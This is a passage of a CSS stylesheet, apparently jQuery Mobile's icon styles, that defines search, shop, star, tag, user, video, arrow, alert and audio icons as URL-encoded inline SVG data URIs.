url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5%20s2.463%2C5.5%2C5.5%2C5.5c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5%20S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5%20S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* Alt icons */ .ui-alt-icon.ui-icon-action:after, .ui-alt-icon .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-alert:after, .ui-alt-icon .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8C6.447%2C8%2C6%2C7.553%2C6%2C7V5%20c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d:after, .ui-alt-icon .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-l:after, .ui-alt-icon .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-r:after, .ui-alt-icon .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u:after, .ui-alt-icon .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-r:after, .ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-audio:after, .ui-alt-icon .ui-icon-audio:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-back:after, .ui-alt-icon .ui-icon-back:after { background-image: 